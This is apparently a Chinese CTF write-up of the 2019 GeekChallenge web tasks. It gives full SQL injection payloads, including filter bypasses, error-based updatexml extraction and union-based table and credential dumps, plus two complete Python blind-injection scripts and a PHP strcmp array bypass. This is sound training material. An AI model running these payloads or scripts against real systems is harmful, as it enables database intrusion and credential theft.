[极客大挑战 2019]web部分题解(sql部分已完结,其他部分正在更新)
SQL部分:
[极客大挑战 2019]BabySQL
打开环境后有登录界面◕‿◕
一眼注入,后先试试万能密码:
username:admin' or '1'='1
password:1
GG,出大问题,我就会这一招啊O.o??完结撒花(不是
꒰ঌ( ⌯' '⌯)໒꒱开玩笑的,着看着像是过滤了or后来尝试了一下oorr双写发现也不行,那咱继续注入哈:
尝试输入下正常的union select等语句发现都被过滤了,那接下来把他们都双写看一下:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23
看到情况是不报错,是列数不对啊
那就使用二分法一个一个排查,发现列数是3的时候就对了:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
后边就简单了,直接附代码了:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23 #爆库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
#列出所有库
看到了ctf库进去:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23
直接拿数据就好了:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23
得到Flag:
flag{ea47f9af-b37b-4f94-a04d-c5b249737afe}
[极客大挑战 2019]EasySQL
看到第二题,发现界面没变,还长这样
话不多说,万能密码尝试一下:
username:1
passwd:admin' or '1'='1
啊?直接出?好吧,看来是练手的:
flag{ef920bf4-ed7f-419b-af87-409fa306319a}
[极客大挑战 2019]HardSQL
好,出题人不知悔改,那就让他终身难忘(doge
同样的万能密码起手,能简单来我们就不展开做o.O
username:admin' or '1'=1'
passwd:1
好小子,那我可要进去了!
admin
1' order by 3#
?还是这样是吧,那就bp看狙击手模式下你给我过滤了多少字段!
fuzz完发现空格 ,注释符,and,by,=,sleep,/,~等都被过滤了,行,那就进入报错注入环节:
使用()代替空格,使用like代替=,使用^连接函数形成异或
先查表:
admin'or(updatexml(1,concat(0x7e,database()),1))#
好小子,漏出马脚了吧,那接下来爆表名:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
继续:
admin'or(updatexml(1%2Cconcat(0x7e%2C(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))%2C1))%23
出敏感字段,结束了,胜负已分( ´◔︎ ‸◔︎`)
admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#
但是只出来左半边?那好说了,左右分开就好了:
admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#
flag{de3015f5-b395-4395-86c8-cf2ddf32e801}
[极客大挑战 2019]LoveSQL
ok看看这个家伙还会来什么
先输入万能密码:
用户名:1' or 1=1#
密码:123(随便输)
爆出了一些字段,接下来我们试一下联合注入,二分法先确认是3个字段:
/check.php?username=1' union select 1,2,3%23&password=1
得到回显位置为2、3,查一下版本号:
/check.php?username=1' union select 1,database(),version()%23&password=1
得到关键信息geek为数据名称,接下来就可以常规步骤了:
爆表:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆字段:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
爆数据:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag:
flag{c76c8911-1aa0-494f-bd2d-1d7356abef1f}
[极客大挑战 2019]FinalSQL
最后一个了,小小出题人又会干嘛呢?0.0
ok,又是一堆乱七八糟的,挨个点击以后发现在第五个里边说有个id=6
那就修改下id=6:
.
这么一看方向是对的,那接下来分析一下:
测试这个地方是否存在注入,结果发现他有过滤,过滤了空格、星号等特殊符号,但是减号、异或符、除号并未过滤,并且测出此处为数字型注入而非字符型注入。(测试方法:传值1、2-1、1/1、1^0等结果正常显示,而输入3-1则显示“2”的页面)
这样的话,要二分法盲注了,这里给大家直接脚本了,一个大牛的,一个我的:
脚本1:
# -*- coding: utf-8 -*-
import re
import requests
import string
import time
url = "#url+id="
flag = ''
def payload(i, j):
# 数据库名字
#sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
#sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
# 列名
#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
# 查询flag
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
#print (f)
flag += chr(f)
print(flag)
time.sleep(0.5)
exp()
print('flag=', flag)
脚本2:
import requests
url = "http://5cb9bdd9-00e4-4fcd-a9b3-872e7fe61aa7.node4.buuoj.cn:81/search.php"
flag = ''
for i in range(1,300):
low = 32
high = 127
while low < high:
mid = (low+high)//2
# 中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断
# 查数据库
# database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
# 查表
# tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
# columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
print(chr(mid))
# 根据需要查询的内容改变get中的参数
r = requests.get(url=url+data)
# print(url+database)
# print(payload1)
# print(r.raw)
if 'Click' in r.text:
low = mid + 1
else:
high = mid
# print(low,mid,high)
flag += chr(low)
print(flag)
切记!不要为了速度把sleep删了!!!!!网页会响应不过来!
得到flag:
flag{4184bf22-51f1-4f03-a6f1-53f1734a5fb6}
其他web部分:
[极客大挑战 2019]BuyFlag
开启环境以后大眼看了下界面,点击payflag后发现了新界面!
可以看到要求:
1.你要是cuit里边的学生
2.你必须有正确的password
打开F12源码查看器确认下信息,有这么一串东西:
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
1.可以得到post是传参方式,如果password=404为真,就绕过,后边有is_numeric()函数,同时为了绕过这个,就必须有字母,所以我们选择输入404x
打开hackbar,这样子传一下:
发现没变化,那就抓包看一下吧:
这时注意到,Cookie有个扎眼的user=0,改成1试试:
ok,可以看到提示变了,他说我们前两项都对了,但是必须付钱,那我们再机灵点,直接post money好了,改成他想要的:
password=404x&&money=100000000
放包以后看一下结果:
结果又过长了,我给改短也试了试,他说你钱不够,嘲讽你是loser~
这就难办了,加也不是,减也不是,很束手无措,估计这题难点就在这里了,我尝试找了下版本号:
5.3.3版本下我记得可以用函数strcmp()对数字进行绕过,那就改造一下:
password=404x&&money[]=1000
Get!!!!!!!!!!拿下!!!!!!!
flag{b97e8597-44d5-4127-809e-c6aa087564b4}
[极客大挑战 2019]Havefun
打开去撸猫:
撸了十分钟才想起要做题嗯~ o(* ̄▽ ̄*)o..,那就打开下F12:
有个源码提示:
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
这样话直接get吧,cat=dog也没别的做的了=.=
直接拿了,撸猫撸的很开心!)╭ ( ̄︶ ̄)ψ
flag{21ffc3d1-4900-4c00-a8d8-dd2c32d7e6a4}
[极客大挑战 2019]Knife
打开环境给了个一句话木马,说实话有点懵逼O.O!
不过不知道目录是什么,就先寻找一下再说
热门相关:锦绣田园:医女嫁贤夫 史上第一密探 天龙剑尊 傲天弃少 逍遥小书生